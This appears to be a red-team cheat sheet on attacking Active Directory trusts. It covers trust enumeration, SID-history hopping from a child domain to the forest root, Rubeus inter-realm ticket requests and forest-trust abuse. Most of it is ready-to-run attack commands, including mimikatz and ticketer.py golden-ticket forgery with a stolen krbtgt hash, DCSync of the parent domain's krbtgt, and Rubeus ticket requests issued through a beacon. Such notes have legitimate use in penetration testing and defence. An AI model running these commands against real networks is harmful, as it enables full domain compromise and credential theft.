Attack Trusts
"Note that the Active Directory domain is not the security boundary; the AD forest is." - Sean Metcalf (ref)

Theory

Some trust types:
Trust Type
Description
Parent-child
A trust between domains within the same forest. The child domain has a bidirectional transitive trust with the parent domain.
Cross-link (shortcut)
A trust between child domains (used to speed up authentication).
Tree-root (intra-forest)
A bidirectional transitive trust between a forest root domain and a new tree root domain. Created implicitly when a new domain tree is created in the forest.
Forest
A transitive trust between two forest root domains. Enforces SID filtering.
External (inter-forest)
A non-transitive trust between two separate domains in separate forests that are not already joined by a forest trust. Enforces SID filtering.

Enumeration

Get forest object:
PV2 > Get-NetForest [-Forest megacorp.local]
PV3 > Get-Forest [-Forest megacorp.local]
Get all domains in a fores:
PV2 > Get-NetForestDomain [-Forest megacorp.local]
PV3 > Get-ForestDomain [-Forest megacorp.local]
Enum trusts for current domain via nltest and .NET:
Cmd > nltest /trusted_domains
PS > ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
Enum trusts via Win32 API and LDAP (PowerView):
PV2 > Get-NetDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust -API [-Domain megacorp.local] | ft
PV2 > Get-NetDomainTrust -LDAP [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust [-Domain megacorp.local] | ft
Build domain trust mapping:
PV2 > Invoke-MapDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrustMapping [-Domain megacorp.local] | ft

sIDHistory/ExtraSids Hopping

Abusing Bidirectional ParentChild trust between child.megacorp.local ⟷ megacorp.local.
Check if SID filtering is enabled for a trust:
Cmd > netdom.exe trust child.megacorp.local /domain:megacorp.local /quarantine
SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.
For creating a cross-trust golden ticket (forged inter-realm TGT) we'll need:
  1. 1.
    child domain FQDN (child.megacorp.local);
  2. 2.
    name of the child domain's DC machine account and its RID (DC01$, 31337);
  3. 3.
    SID of the child domain (S-1-5-21-4266912945-3985045794-2943778634);
  4. 4.
    SID of the parent domain (S-1-5-21-2284550090-1208917427-1204316795);
  5. 5.
    compomised krbtgt hash from the child domain (00ff00ff00ff00ff00ff00ff00ff00ff);
  6. 6.
    ???
  7. 7.
    PROFIT.
1.
PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL
2.
PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).ObjectSID
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-31337
3.
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634
4.
PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-2284550090-1208917427-1204316795-502
Create cross-trust golden ticket:
mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:31337 /groups:516 /sid:S-1-5-21-4266912945-3985045794-2943778634 /sids:S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 /krbtgt:00ff00ff00ff00ff00ff00ff00ff00ff /ptt [/startoffset:-10 /endin:60 /renewmax:10080]
Or
$ ticketer.py -nthash 00ff00ff00ff00ff00ff00ff00ff00ff -user-id 31337 -groups 516 -domain child.megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 -extra-sid S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 'DC01'
For DCSyncing we'll need only parent domain FQDN (megacorp.local):
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name
megacorp.local
DCSync:
mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local

Request Inter-Realm TGT with Rubeus

Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native user in current domain), we can request Kerberos tickets manually with Rubeus.
Request TGT for that user in current domain:
beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /opsec /nowrap
Request inter-realm TGT from current domain to the target domain:
beacon> execute-assembly Rubeus.exe asktgs /service:krbtgt/megacorp.external /domain:megacorp.local /dc:DC1.megacorp.local /ticket:<BASE64_TICKET> /nowrap
Use inter-realm TGT to request a TGS in the target domain:
beacon> execute-assembly Rubeus.exe asktgs /service:cifs/DC1.megacorp.external /domain:megacorp.external /dc:DC1.megacorp.external /ticket:<BASE64_TICKET> /nowrap

UnD + PrinterBug

Can be abused either if CVE-2019-0683 is not fixed or if EnableTGTDelegation is enabled for the trusted forest:
Cmd > netdom.exe trust forestB.net /domain:forestA.net /EnableTGTDelegation:Yes

Attack Forest Trusts

List foreign users and users from foreign groups:
PV2 > Find-ForeignUser -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignUser [-Domain megacorp.local]
PV2 > Find-ForeignGroup -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignGroupMember [-Domain megacorp.local]
PV > Convert-SidToName ...
List user accounts from a target domain with SPNs set for Kerberoasting:
PV3 > Get-DomainUser -SPN -Domain megacorp.local | ? {$_.samAccountName -ne "krbtgt"} | select samAccountName,memberOf,servicePrincipalName | fl
PS > .\SharpView.exe Get-DomainUser -SPN -Domain megacorp.local -Properties samAccountName,memberOf,servicePrincipalName -Filter '(!(samAccountName=krbtgt))'
If SID history is enabled (e.g., if domain is on its migration period, netdom trust b.net /d:a.net /enablesidhistory:yes) then the forest trust is treated as external.
We can try to locate non-default (with RID greater than 1000) admin account:
PV2 > Get-NetGroupMember -GroupName "Administrators" -Domain -Domain b.net
PV3 > Get-DomainGroupMember -Identity "Administrators" -Domain b.net
If such an account is a member of a domain local security group (not a global group like Enterprise Admins or Domain Admins) and allows us to pwn a user or a computer in target domain, we can forge the inter-realm TGT the same way as described above.

CVE-2020-0665

Visualization (yEd)

PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/snovvcrash/TrustVisualizer && cd TrustVisualizer
$ pip3 install -r requirements.txt
$ python3 TrustVisualizer.py trusts.csv